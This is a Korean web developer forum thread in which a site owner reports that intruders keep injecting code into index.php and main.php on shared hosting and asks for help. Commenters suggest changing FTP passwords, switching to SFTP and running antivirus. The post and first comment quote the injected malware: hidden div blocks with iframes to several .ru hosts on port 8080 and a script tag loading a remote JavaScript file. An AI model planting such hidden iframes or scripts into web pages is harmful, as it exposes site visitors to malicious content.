손원규

홈페이지에 자꾸 불청객이 방문하는군요...;;;;

불청객이 자꾸 들어와서...코드를 변조하는군요...;;;


index.php 파일과 main.php 등 곳곳에 심어놓고 사라지시는데...
sftp나 포트번호를 봐꿔 놓은 서버는 문제가 없는데...
일반 호스팅받는 곳은 연락없이 이분?께서 방문하셔서 코드변조하시고
스르륵 사라지시는군요...흑... 프로그램에서 어떻게 막을수 있는방법없을까요?

utfntkihfrxnyypfnnpnavrbitjkoad

thqrpvrwqasjzykdbgtvwqrlnbynour

yhcqujissyvsxxgchfhqfnwsswiylhx
http://www.freeguard.biz/j100coock.js">>
|

댓글 7개

대충 요런 코드입니다...;;

<div style="display:none">utfntkihfrxnyypfnnpnavrbitjkoad<iframe width=383 height=197 src="http://beeoo.ru:8080/index.php" ></iframe

<div style="display:none">thqrpvrwqasjzykdbgtvwqrlnbynour<iframe width=200 height=353 src="http://testbio.ru:8080/index.php" ></iframe></div>




<div style="display:none">yhcqujissyvsxxgchfhqfnwsswiylhx
<!-- ad --><script type="text/javascript" src="http://www.freeguard.biz/j100coock.js"></script><!--
<div style="display:none">iusjhozqfasixfppxqbcasjmqqnpsdx<iframe width=922 height=181 src="http://aggge.ru:8080/index.php" ></ifram
<div style="display:none">nmxwlesmeeunygckgdxicjbxbqpjyzq<iframe width=414 height=721 src="http://age-info.ru:8080/index.php" ></ifra
<div style="display:none">xcuksgifcrrmdivdtzpmotwhhtgrqzk<iframe width=461 height=670 src="http://bio-z.ru:8080/index.php" ></ifr
<div style="display:none">dfsvkoziiaumdmgyuszlxkqbmgehqfh<iframe width=919 height=447 src="http://your-age.ru:8080/index.php" ></i

<div style="display:none">mgcjyjrynnddfjbtuenxhtrejeywpzg<iframe width=771 height=441 src="http://bio-v.ru:8080/index.php" ></iframe></div>
저는 안그랬습니다!
iframe 나 악성코드로 검색하시면 관련 자료 많이 나옵니다 ^^
백신 프로그램 돌려보세요~
저도 똑같은거 당했는데요
작업PC에 백도어 프로그램이 깔려서 FTP 비밀번호가 유출된거랍니다.
지우고 해도 계속 올라오고 다른 변종으로도 올라옵니다.

제일먼저 FTP 비밀번호 변경하시고
FTP는 SFTP 포트22 번으로 사용하세요 (파일질라)

그렇게 했더니 일단은 잠잠합니다.
[http://sir.co.kr/data/member/oy/oyaup.gif] 이토 히로부미 이거나 천황께서 괴롭히는 것 같은...
저도 자주 당했는데..
다른 백신은 탐지를 못하는데 avast는 잘 막아주네요

http://www.maru.net/bbs/zboard.php?id=qna&page=1&sn1=&divpage=3&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=13339

참조해보세요.
저도 avast로 싹 정리 했습니다.
알약.등 여러가지 사용을 해봤는데...avast가 탐지를 잘 합니다.
추천 합니다.

댓글 작성

댓글을 작성하시려면 로그인이 필요합니다.

로그인하기
🐛 버그신고